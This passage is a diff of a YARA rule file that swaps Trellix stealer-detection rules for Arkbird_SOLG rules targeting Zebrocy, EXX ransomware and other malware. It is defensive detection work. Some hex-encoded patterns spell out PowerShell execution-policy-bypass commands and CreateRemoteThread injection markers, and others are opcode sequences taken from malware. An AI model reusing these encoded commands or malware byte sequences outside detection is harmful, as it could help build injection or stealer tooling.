-		$artifact0 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 22 29 5d }
-		$artifact1 = { 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 50 74 72 54 6f 53 74 72 75 63 74 75 72 65 }
-		$artifact2 = { 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 52 65 61 64 49 6e 74 31 36 }
-		$artifact3 = { 65 6e 76 3a 57 49 4e 44 49 52 5c 73 79 73 77 6f 77 36 34 5c 77 69 6e 64 6f 77 73 70 6f 77 65 72 73 68 65 6c 6c 5c 76 31 2e 30 5c 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 22 20 2d 4e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 65 78 65 63 20 62 79 70 61 73 73}
-		$artifact4 = { 65 6e 76 3a 57 49 4e 44 49 52 5c 73 79 73 77 6f 77 36 34 5c 77 69 6e 64 6f 77 73 70 6f 77 65 72 73 68 65 6c 6c 5c 76 31 2e 30 5c 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 22 20 2d 4e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 65 78 65 63 20 62 79 70 61 73 73 20 2d 66 69 6c 65}
-		$artifact5 = {5b 50 61 72 61 6d 65 74 65 72 28 50 6f 73 69 74 69 6f 6e 20 3d 20 30 20 2c 20 4d 61 6e 64 61 74 6f 72 79}
-		$artifact6 = {5b 50 61 72 61 6d 65 74 65 72 28 50 6f 73 69 74 69 6f 6e 20 3d 20 31 20 2c 20 4d 61 6e 64 61 74 6f 72 79}
-		$artifact7 = {2d 45 78 65 63 75 74 69 6f 6e 50 6f 6c 69 63 79 20 42 79 50 61 73 73 20 2d 4e 6f 4c 6f 67 6f 20 2d 4e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 4e 6f 45 78 69 74}
-		$artifact8 = {72 65 74 75 72 6e 20 5b 42 69 74 43 6f 6e 76 65 72 74 65 72 5d 3a 3a 54 6f 49 6e 74 36 34}
+		$c1 = { 49 6e 76 61 6c 69 64 20 70 61 72 74 69 74 69 6f 6e 20 74 61 62 6c 65 00 45 72 72 6f 72 20 6c 6f 61 64 69 6e 67 20 6f 70 65 72 61 74 69 6e 67 20 73 79 73 74 65 6d 00 4d 69 73 73 69 6e 67 20 6f 70 65 72 61 74 69 6e 67 20 73 79 73 74 65 6d 00 00 00 63 7b }
+		$c2 = { 52 90 4e 54 46 53 }
+		$c3 = { 41 20 64 69 73 6b 20 72 65 61 64 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 00 0d 0a 42 4f 4f 54 4d 47 52 20 69 73 20 63 6f 6d 70 72 65 73 73 65 64 00 0d 0a 50 72 65 73 73 20 43 74 72 6c 2b 41 6c 74 2b 44 65 6c 20 74 6f 20 72 65 73 74 61 72 74 }
+		$c4 = { 42 00 4f 00 4f 00 54 00 4d 00 47 00 52 00 04 00 24 00 49 00 33 00 30 }
+		$c5 = { 4e 00 54 00 4c 00 44 00 52 00 07 00 42 00 4f 00 4f 00 54 00 54 00 47 00 54 00 07 00 42 00 4f 00 4f 00 54 00 4e 00 58 00 54 }
+		$c6 = { 46 49 4c 45 30 00 03 00 8? ?d }
+		$c7 = { 24 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 60 00 00 00 40 }
+		$s1 = { 46 61 73 74 4d 4d 20 42 6f 72 6c 61 6e 64 20 45 64 69 74 69 6f 6e 20 a9 20 32 30 30 34 2c 20 32 30 30 35 20 50 69 65 72 72 65 20 6c 65 20 52 69 63 68 65 20 2f 20 50 72 6f 66 65 73 73 69 6f 6e 61 6c 20 53 6f 66 74 77 61 72 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 }
+		$s2 = { 53 4f 46 54 57 41 52 45 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 5c 52 54 4c 00 46 50 55 4d 61 73 6b 56 61 6c 75 65 }
+		$s3 = { 53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4b 65 79 62 6f 61 72 64 20 4c 61 79 6f 75 74 73 5c }
+		$s4 = { 53 79 73 74 65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4b 65 79 62 6f 61 72 64 20 4c 61 79 6f 75 74 73 5c 25 2e 38 78 00 00 6c 61 79 6f 75 74 20 74 65 78 74 }
+		$s5 = { 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 25 00 73 }
+		$s6 = { 52 00 65 00 73 00 6f 00 6c 00 76 00 69 00 6e 00 67 00 20 00 68 00 6f 00 73 00 74 00 6e 00 61 00 6d 00 65 00 20 00 25 00 73 }
+		$s7 = { 45 00 72 00 72 00 6f 00 72 00 20 00 72 00 65 00 61 00 64 00 69 00 6e 00 67 00 20 00 25 00 73 00 25 00 73 00 25 00 73 00 3a 00 20 00 25 00 73 00 11 00 53 00 74 00 72 00 65 00 61 00 6d 00 20 00 72 00 65 00 61 00 64 00 20 00 65 00 72 00 72 00 6f 00 72 }
+		$s8 = { 25 73 2c 20 43 6c 61 73 73 49 44 3a 20 25 73 }
+		$s9 = { 43 6f 6e 6e 65 63 74 4b 69 6e 64 b0 10 40 00 44 00 00 ff 44 00 00 ff 01 00 00 00 00 00 00 80 00 00 00 80 04 00 11 52 65 6d 6f 74 65 4d 61 63 68 69 6e 65 4e 61 6d 65 }
+		$s10 = { 22 20 4e 54 2f 20 [1-4] 20 4f 4d 2f 20 45 54 55 4e 49 4d 20 43 53 2f 20 65 74 61 65 72 43 2f 20 73 6b 73 61 74 68 63 73 }
+		$s11 = { 2f 2f 3a 70 74 74 68 }
 
 	condition:
-		6 of ($api*) or ((3 of ($artifact*)))
+		uint16(0)==0x33c0 and filesize >40KB and 5 of ($c*) and 8 of ($s*)
 }
-rule TRELLIX_ARC_STEALER_Lokibot : STEALER FILE
+import "pe"
+
+rule ARKBIRD_SOLG_APT_APT28_Zebrocy_GO_Downloader_Nov_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect Lokibot stealer"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "75f502a3-2d9f-5ccf-93f8-2d6a73e9e1b7"
-		date = "2020-09-23"
-		modified = "2020-09-25"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/stealer/STEALER_Lokibot.yar#L1-L39"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "999a69394a545f726cf15e4361e0dfc17eeac6544e6816a0ad140316e9642510"
-		score = 75
-		quality = 70
-		tags = "STEALER, FILE"
-		rule_version = "v1"
-		malware_type = "stealer"
-		malware_family = "Ransomware:W32/Lokibot"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
-		hash1 = "0e40f4fdd77e1f90279c585cfc787942b8474e5216ff4d324d952ef6b74f25d2"
-		hash2 = "3ad36afad12d8cf245904285c21a8db43f9ed9c82304fdc2f27c4dd1438e4a1d"
-		hash3 = "26fbdd516b3c1bfa36784ef35d6bc216baeb0ef2d0c0ba036ff9296da2ce2c84"
+		description = "Detect Zebrocy Go downloader (November 2020)"
+		author = "Arkbird_SOLG"
+		id = "114c0297-7168-5d20-b56b-89b0b47f18c7"
+		date = "2020-12-09"
+		modified = "2020-12-10"
+		reference = "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-09/APT28/APT_APT28_Nov_2020_1.yar#L37-L65"
+		license_url = "N/A"
+		logic_hash = "e7b2e7c250f3a98127399176adf9f93b758f0a5111e126dd0a75a3fb95a48da9"
+		score = 50
+		quality = 61
+		tags = "FILE"
+		level = "experimental"
+		hash1 = "61c2e524dcc25a59d7f2fe7eff269865a3ed14d6b40e4fea33b3cd3f58c14f19"
+		hash2 = "f36a0ee7f4ec23765bb28fbfa734e402042278864e246a54b8c4db6f58275662"
 
 	strings:
-		$sq1 = { 55 8B EC 56 8B 75 08 57 56 E8 ?? ?? ?? ?? 8B F8 59 85 FF 75 04 33 C0 EB 20 56 6A 00 57 E8 ?? ?? ?? ?? 6A 0C E8 ?? ?? ?? ?? 83 C4 10 85 C0 74 E5 83 60 08 00 89 38 89 70 04 5F 5E 5D C3 }
-		$sq2 = { 55 8B EC 83 EC 0C 53 56 57 33 DB BE ?? ?? ?? ?? 53 53 56 6A 09 E8 ?? ?? ?? ?? 6A 10 6A 01 53 53 8D 4D F8 51 FF D0 53 53 56 6A 09 E8 ?? ?? ?? ?? 6A 08 6A 01 53 53 8D 4D F8 51 FF D0 85 C0 0F 84 2B 01 00 00 6A 24 E8 ?? ?? ?? ?? 59 8B D8 33 C0 6A 09 59 8B FB F3 AB 66 8B 4D 24 B8 03 66 00 00 C7 03 08 02 00 00 66 85 C9 74 03 0F B7 C1 8B 4D 08 33 D2 0F B7 C0 89 43 04 89 53 08 85 C9 74 12 C7 43 08 08 00 00 00 8B 01 89 43 0C 8B 41 04 89 43 10 8B 4D 0C 85 C9 74 0F 83 43 08 08 8B 01 89 43 14 8B 41 04 89 43 18 8B 4D 10 85 C9 74 0F 83 43 08 08 8B 01 89 43 1C 8B 41 04 89 43 20 8B 7B 08 8B 75 F8 83 C7 0C 52 52 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 8D 4D FC 51 6A 00 6A 00 57 53 56 FF D0 85 C0 74 75 8B 75 FC 33 C0 40 83 7D 20 00 0F 45 45 20 33 FF 57 57 68 ?? ?? ?? ?? 6A 09 89 45 F4 E8 ?? ?? ?? ?? 57 8D 4D F4 51 6A 04 56 FF D0 85 C0 74 3B 39 7D 14 74 1A 8B 75 FC 57 57 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 57 FF 75 14 6A 01 56 FF D0 8B 55 18 8B 4D FC 53 89 0A 8B 55 1C 8B 4D F8 89 0A E8 ?? ?? ?? ?? 33 C0 59 40 EB 21 FF 75 FC E8 BF FB FF FF 59 EB 02 33 FF 53 E8 ?? ?? ?? ?? 57 FF 75 F8 E8 6B FB FF FF 83 C4 0C 33 C0 5F 5E 5B 8B E5 5D C3 }
-		$sq3 = { 55 8B EC 83 EC 0C 53 8B 5D 0C 56 57 6A 10 33 F6 89 75 F8 89 75 FC 58 89 45 F4 85 DB 75 0E FF 75 08 E8 ?? ?? ?? ?? 8B D8 8B 45 F4 59 50 E8 ?? ?? ?? ?? 8B F8 59 85 FF 0F 84 B6 00 00 00 FF 75 F4 56 57 E8 C4 ?? ?? ?? 83 C4 0C 56 56 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 68 00 00 00 F0 6A 01 56 56 8D 4D F8 51 FF D0 85 C0 0F 84 84 00 00 00 8B 75 F8 6A 00 6A 00 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 8D 4D FC 51 6A 00 6A 00 68 03 80 00 00 56 FF D0 85 C0 74 51 6A 00 53 FF 75 08 FF 75 FC E8 7F FD FF FF 83 C4 10 85 C0 74 3C 8B 75 FC 6A 00 6A 00 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 6A 00 8D 4D F4 51 57 6A 02 56 FF D0 85 C0 74 19 FF 75 FC E8 16 FD FF FF 6A 00 FF 75 F8 E8 26 FD FF FF 83 C4 0C 8B C7 EB 0E 6A 00 FF 75 F8 E8 15 FD FF FF 59 59 33 C0 5F 5E 5B 8B E5 5D C3 }
-		$sq4 = { 55 8B EC 83 7D 10 00 56 57 8B 7D 0C 57 74 0E E8 ?? ?? ?? ?? 8B F0 33 C0 03 F6 40 EB 09 E8 ?? ?? ?? ?? 8B F0 33 C0 83 7D 14 00 59 75 24 50 FF 75 08 E8 2C 00 00 00 59 59 83 F8 01 74 04 33 C0 EB 1D 56 FF 75 08 E8 C5 FE FF FF 59 59 83 F8 01 75 EC 56 57 FF 75 08 E8 CA FE FF FF 83 C4 0C 5F 5E 5D C3 }
-		$sq5 = { 55 8B EC 53 56 8B 75 0C 57 85 F6 75 0B FF 75 08 E8 ?? ?? ?? ?? 59 8B F0 6B C6 03 89 45 0C 8D 58 01 53 E8 ?? ?? ?? ?? 8B F8 59 85 FF 74 42 53 6A 00 57 E8 ?? ?? ?? ?? 83 C4 0C 33 D2 85 F6 74 27 8B 45 08 0F B6 0C 02 8B C1 83 E1 0F C1 E8 04 8A 80 ?? ?? ?? ?? 88 04 57 8A 81 ?? ?? ?? ?? 88 44 57 01 42 3B D6 72 D9 8B 45 0C C6 04 07 00 8B C7 5F 5E 5B 5D C3 }
-		$sq6 = { 55 8B EC 53 56 57 FF 75 08 E8 ?? ?? ?? ?? 33 C9 6A 02 5B 8D B8 A0 1F 00 00 8B C7 F7 E3 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B F0 59 59 85 F6 74 6F 8D 0C 3F 51 6A 00 56 E8 ?? ?? ?? ?? 8D 45 0C 50 FF 75 08 56 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B F8 83 C4 1C 85 FF 74 40 33 C9 8D 47 02 F7 E3 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B D8 59 85 DB 74 25 8D 0C 7D 02 00 00 00 51 6A 00 53 E8 ?? ?? ?? ?? 57 56 53 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 1C 8B C3 EB 09 56 E8 ?? ?? ?? ?? 59 33 C0 5F 5E 5B 5D C3 }
-		$sq7 = { 55 8B EC 81 EC 80 00 00 00 56 57 E8 ?? ?? ?? ?? 6A 1F 59 BE ?? ?? ?? ?? 8D 7D 80 F3 A5 33 C9 6A 02 5A 66 A5 8B 7D 08 8D 47 01 F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B F0 59 85 F6 74 4D 8D 04 7D 02 00 00 00 4F 89 45 08 53 50 6A 00 56 E8 ?? ?? ?? ?? 83 C4 0C 33 DB 85 FF 74 1C E8 ?? ?? ?? ?? 33 D2 6A 7E 59 F7 F1 D1 EA 66 8B 44 55 80 66 89 04 5E 43 3B DF 72 E4 56 E8 ?? ?? ?? ?? 3B F8 8B 45 08 59 77 C4 8B C6 5B EB 02 33 C0 5F 5E 8B E5 5D C3 }
-		$sq8 = { 55 8B EC 81 EC 50 02 00 00 53 56 57 6A 0A E8 ?? ?? ?? ?? 59 33 DB 6A 2E 5E 39 5D 14 0F 84 13 01 00 00 FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 59 59 85 F6 0F 84 F7 00 00 00 53 53 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 56 FF D0 8B D8 83 FB FF 0F 84 CC 00 00 00 F6 85 B0 FD FF FF 10 0F 84 97 00 00 00 83 7D 1C 00 74 2E 8D 85 DC FD FF FF 68 ?? ?? ?? ?? 50 E8 0A ?? ?? ?? 59 59 85 C0 75 7A 8D 85 DC FD FF FF 68 ?? ?? ?? ?? 50 E8 F3 ?? ?? ?? 59 59 85 C0 75 63 8D 85 DC FD FF FF 50 E8 ?? ?? ?? ?? 59 83 F8 03 73 0C 6A 2E 58 66 39 85 DC FD FF FF 74 45 8D 85 DC FD FF FF 50 FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 0C 89 45 14 85 C0 74 27 6A 01 6A 00 6A 01 FF 75 10 FF 75 0C 50 E8 14 FF FF FF FF 75 14 8B F8 E8 ?? ?? ?? ?? 83 C4 1C 85 FF 0F 85 EE 00 00 00 33 C0 50 50 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 53 FF D0 85 C0 0F 85 3B FF FF FF 53 E8 ?? ?? ?? ?? 59 56 E8 ?? ?? ?? ?? 59 33 DB 6A 2E 5E FF 75 0C FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 0C 85 FF 0F 84 CF 00 00 00 53 53 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 57 FF D0 8B D8 83 FB FF 0F 84 A6 00 00 00 8D 85 DC FD FF FF 50 E8 ?? ?? ?? ?? 59 83 F8 03 73 09 66 39 B5 DC FD FF FF 74 3E 83 BD B0 FD FF FF 10 75 06 83 7D 18 00 74 2F 8D 85 DC FD FF FF 50 FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 0C 85 F6 74 12 83 7D 10 00 74 40 56 FF 55 10 56 E8 ?? ?? ?? ?? 59 59 33 C0 50 50 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 53 FF D0 85 C0 74 29 6A 2E 5E EB 85 56 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 8B C7 EB 22 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 8B C6 EB 10 53 E8 ?? ?? ?? ?? 59 57 E8 ?? ?? ?? ?? 59 33 C0 5F 5E 5B 8B E5 5D C3 }
-		$sq9 = { 83 3D 14 ?? ?? ?? ?? 56 74 0A 8B 35 20 ?? ?? ?? 85 F6 75 66 53 57 BB E0 01 00 00 33 FF 53 89 3D 14 ?? ?? ?? E8 F0 F8 FF FF 33 F6 A3 14 ?? ?? ?? 46 59 85 C0 74 12 6A 78 57 50 89 35 20 ?? ?? ?? E8 A6 F8 FF FF 83 C4 0C 53 89 3D 18 ?? ?? ?? E8 C5 F8 FF FF A3 18 ?? ?? ?? 59 85 C0 74 14 6A 78 57 50 89 35 20 ?? ?? ?? E8 7E F8 FF FF 83 C4 0C EB 06 8B 35 20 ?? ?? ?? 5F 5B 8B C6 5E C3 }
-		$sq10 = { 55 8B EC 51 51 83 65 FC 00 53 56 57 64 A1 30 00 00 00 89 45 FC 8B 45 FC 8B 40 0C 8B 58 0C 8B F3 8B 46 18 FF 76 28 89 45 F8 E8 CE FA FF FF 8B F8 59 85 FF 74 1F 6A 00 57 E8 32 01 00 00 57 E8 ?? ?? ?? ?? 03 C0 50 57 E8 71 FA FF FF 83 C4 14 39 45 08 74 11 8B 36 3B DE 75 C6 33 C0 5F 5E 5B 8B E5 5D C2 04 00 8B 45 F8 EB F2 }
-		$sq11 = { A1 ?? ?? ?? ?? 85 C0 74 07 50 E8 ?? ?? ?? ?? 59 A1 ?? ?? ?? ?? 85 C0 74 07 50 E8 ?? ?? ?? ?? 59 A1 ?? ?? ?? ?? 85 C0 74 07 50 E8 ?? ?? ?? ?? 59 33 C0 A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? C3 }
-		$sq12 = { 55 8B EC 56 8B 75 0C 57 85 F6 74 48 56 E8 ?? ?? ?? ?? 59 85 C0 74 3D 56 E8 ?? ?? ?? ?? 59 85 C0 74 32 83 65 0C 00 8D 45 0C 6A 01 50 56 E8 ?? ?? ?? ?? 8B F8 83 C4 0C 85 FF 74 19 8B 45 0C 85 C0 74 12 83 7D 14 00 74 12 39 45 14 73 0D 57 E8 ?? ?? ?? ?? 59 33 C0 5F 5E 5D C3 83 7D 10 00 74 1A 6A 00 6A 01 56 E8 ?? ?? ?? ?? 59 50 FF 75 08 E8 1F 00 00 00 8B 45 0C 83 C4 10 50 57 FF 75 08 E8 FF FE FF FF 57 8B F0 E8 ?? ?? ?? ?? 83 C4 10 8B C6 EB C3 }
-		$sq13 = { 55 8B EC 83 EC 18 56 FF 75 08 E8 ?? ?? ?? ?? 50 89 45 F0 E8 ?? ?? ?? ?? 8B F0 59 59 85 F6 0F 84 C0 00 00 00 53 8B 5D 0C 33 C9 57 6A 04 5A 8B C3 F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 83 65 F4 00 8B F8 83 65 FC 00 59 85 DB 74 6D 8B 45 10 83 C0 FC FF 75 F0 83 C0 04 89 45 E8 6A 00 56 8B 00 89 45 EC E8 ?? ?? ?? ?? FF 75 F0 FF 75 08 56 E8 ?? ?? ?? ?? 83 65 F8 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 20 EB 1F FF 75 EC 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 32 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 45 F8 59 59 85 C0 75 DD 8B 45 FC 40 89 45 FC 3B C3 8B 45 E8 72 99 56 E8 ?? ?? ?? ?? 59 39 5D F4 75 12 8B C7 EB 17 8B 45 FC 8B 4D F8 FF 45 F4 89 0C 87 EB D7 57 E8 ?? ?? ?? ?? 59 33 C0 5F 5B 5E 8B E5 5D C3 }
-		$sq14 = { 55 8B EC 8B 45 0C 53 56 8B 75 08 57 8B 4E 04 03 C1 8D 3C 09 3B F8 77 06 8D B8 F4 01 00 00 33 C9 8B C7 6A 04 5A F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B D8 59 85 DB 74 26 57 6A 00 53 E8 ?? ?? ?? ?? FF 76 08 FF 36 53 E8 ?? ?? ?? ?? FF 36 E8 ?? ?? ?? ?? 33 C0 89 1E 83 C4 1C 89 7E 04 40 5F 5E 5B 5D C3 }
-		$sq15 = { 55 8B EC 83 7D 0C 00 57 74 39 8B 7D 10 85 FF 74 32 56 8B 75 08 8B 46 08 03 C7 3B 46 04 76 09 57 56 E8 3F FF FF FF 59 59 8B 46 08 03 06 57 FF 75 0C 50 E8 ?? ?? ?? ?? 01 7E 08 83 C4 0C 33 C0 40 5E EB 02 33 C0 5F 5D C3 }
+		$c1 = "os.(*ProcessState).sys" fullword ascii
+		$c2 = "os/exec.(*ExitError).Sys" fullword ascii
+		$c3 = "os/exec.ExitError.Sys" fullword ascii
+		$c4 = "os.(*ProcessState).Sys" fullword ascii
+		$p1 = "syscall.CreatePipe" fullword ascii
+		$p2 = "os.Pipe" fullword ascii
+		$p3 = { 6e 65 74 2f 68 74 74 70 2e 28 2a 68 74 74 70 32 70 69 70 65 29 2e 63 6c 6f 73 65 44 6f 6e 65 4c 6f 63 6b 65 64 }
+		$p4 = { 6e 65 74 2f 68 74 74 70 2e 28 2a 68 74 74 70 32 63 6c 69 65 6e 74 53 74 72 65 61 6d 29 2e 67 65 74 53 74 61 72 74 65 64 57 72 69 74 65 }
+		$op1 = { 75 5f 67 3d 25 73 20 25 71 25 73 2a 25 64 25 73 3d 25 73 26 23 33 34 3b 26 23 33 39 3b 26 61 6d 70 3b }
+		$op2 = { 70 63 3d 25 21 28 4e 4f 56 45 52 42 29 25 21 57 65 65 6b 64 61 79 28 25 73 7c 25 73 25 73 7c 25 73 28 42 41 44 49 4e 44 45 58 29 }
+		$op3 = { 48 54 54 50 5f 50 52 4f 58 59 48 6f 73 74 3a 20 25 73 0d 0a 49 50 20 61 64 64 72 65 73 73 4b 65 65 70 2d 41 6c 69 76 65 }
+		$op4 = { 63 6f 6e 6e 65 63 74 69 6f 6e 20 65 72 72 6f 72 3a 20 25 73 63 6f 6e 6e 65 63 74 69 6f 6e 20 74 69 6d 65 64 20 6f 75 74 }
+		$op5 = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 54 45 53 54 49 4e 47 20 4b 45 59 2d 2d 2d 2d 2d }
+		$op6 = { 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 54 45 53 54 49 4e 47 20 4b 45 59 2d 2d 2d 2d 2d }
 
 	condition:
-		uint16(0)==0x5a4d and any of them
+		uint16(0)==0x4d5a and filesize >800KB and (pe.imphash()=="91802a615b3a5c4bcc05bc5f66a5b219") and 3 of ($c*) and 3 of ($p*) and 3 of ($op*)
 }
-rule TRELLIX_ARC_STEALER_Emirates_Statement : STEALER
+rule ARKBIRD_SOLG_Ran_ELF_EXX_Nov_2020_1 : FILE
 {
 	meta:
-		description = "Credentials Stealing Attack"
-		author = "Christiaan Beek | McAfee ATR Team"
-		id = "b5a6d996-8a3d-5238-95af-bf5ff893bbc5"
-		date = "2013-06-30"
-		modified = "2020-08-14"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/stealer/STEALER_EmiratesStatement.yar#L1-L24"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "7cf757e0943b0a6598795156c156cb90feb7d87d4a22c01044499c4e1619ac57"
-		logic_hash = "17eaddf375fc1875fb0275f8c0f93dfe921b452bdc6eb471adc155f749492328"
-		score = 75
-		quality = 45
-		tags = "STEALER"
-		rule_version = "v1"
-		malware_type = "stealer"
-		malware_family = "Stealer:W32/DarkSide"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		description = "Detect EXX variant ELF ransomware"
+		author = "Arkbird_SOLG"
+		id = "fe85d480-317a-51c3-a817-fc9034e2944f"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-09/EXX/Ran_ELF_EXX_Nov_2020_1.yar#L1-L28"
+		license_url = "N/A"
+		logic_hash = "4508a0cf79d0d85959009f59e1471cbf123fa24f5c21da5801e91ed0bbe8a085"
+		score = 50
+		quality = 73
+		tags = "FILE"
+		level = "experimental"
+		hash1 = "cb408d45762a628872fa782109e8fcfc3a5bf456074b007de21e9331bb3c5849"
 
 	strings:
-		$string0 = "msn.klm"
-		$string1 = "wmsn.klm"
-		$string2 = "bms.klm"
+		$dbg1 = { 55 6e 65 78 70 65 63 74 65 64 20 65 72 72 6f 72 2c 20 72 65 74 75 72 6e 20 63 6f 64 65 20 3d 20 25 30 38 58 0a }
+		$dbg2 = { 47 72 65 65 74 69 6e 67 73 20 [3-10] 21 }
+		$dbg3 = { 63 79 63 6c 65 73 3d 25 6c 75 20 72 61 74 69 6f 3d 25 6c 75 20 6d 69 6c 6c 69 73 65 63 73 3d 25 6c 75 20 73 65 63 73 3d 25 6c 75 20 68 61 72 64 66 61 69 6c 3d 25 64 20 61 3d 25 6c 75 20 62 3d 25 6c 75 0a }
+		$dbg4 = { 53 48 41 2d 25 64 20 74 65 73 74 20 23 25 64 3a }
+		$lib1 = "pthread_mutex_unlock@@GLIBC_2.2.5" fullword ascii
+		$lib2 = "pthread_mutex_lock@@GLIBC_2.2.5" fullword ascii
+		$lib3 = "mbedtls_rsa_import" fullword ascii
+		$lib4 = "mbedtls_rsa_export" fullword ascii
+		$lib5 = "mbedtls_oid_get_extended_key_usage" fullword ascii
+		$lib6 = "mbedtls_sha256_process" fullword ascii
+		$seq1 = { 48 83 ec 20 89 7d ec 48 89 75 e0 b8 00 00 00 00 e8 77 00 00 00 48 8d 45 f0 b9 00 00 00 00 48 8d 15 b5 ff ff ff be 00 00 00 00 48 89 c7 e8 d6 fb ff ff c7 45 fc 01 00 00 00 eb }
+		$seq2 = { 00 00 00 00 e8 b2 fe ff ff 48 8b 45 e8 48 89 c7 e8 92 ed ff ff 48 83 c0 01 48 89 c7 e8 c6 ee ff ff 48 89 45 f8 48 83 7d f8 00 74 3a 48 8b 55 e8 48 8b 45 f8 48 89 d6 48 89 c7 e8 f8 ec ff ff 48 8b 45 f8 48 89 c7 e8 12 fd ff ff 48 8b 45 f8 48 89 c7 e8 90 ec ff ff b8 00 00 00 00 e8 95 fc ff ff }
+		$seq3 = { e5 41 55 41 54 53 48 81 ec 18 18 00 00 c7 45 dc 00 00 00 00 48 c7 45 d0 00 00 00 00 bf 00 00 00 00 e8 13 fd ff ff 89 c7 e8 7c fc ff ff e8 d7 fd ff ff 41 89 c5 e8 cf fd ff ff 41 89 c4 e8 c7 fd ff ff 89 c3 e8 c0 fd ff ff 89 c2 48 8d 85 d0 e7 ff ff 4d 89 e9 4d 89 e0 48 89 d9 48 8d 35 bf 0a 02 00 48 89 }
 
 	condition:
-		all of them
+		uint16(0)==0x457f and filesize >80KB and 3 of ($dbg*) and 4 of ($lib*) and 2 of ($seq*)
 }
-rule TRELLIX_ARC_STEALER_Credstealesy : STEALER
+rule ARKBIRD_SOLG_APT_APT34_RDAT_Feb_2021_1 : FILE
 {
 	meta:
-		description = "Generic Rule to detect the CredStealer Malware"
-		author = "IsecG – McAfee Labs"
-		id = "90e23ed8-3243-519b-8eb4-9db5902c73d3"
-		date = "2015-05-08"
-		modified = "2020-08-14"
-		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/when-hackers-get-hacked-the-malware-servers-of-a-data-stealing-campaign/"
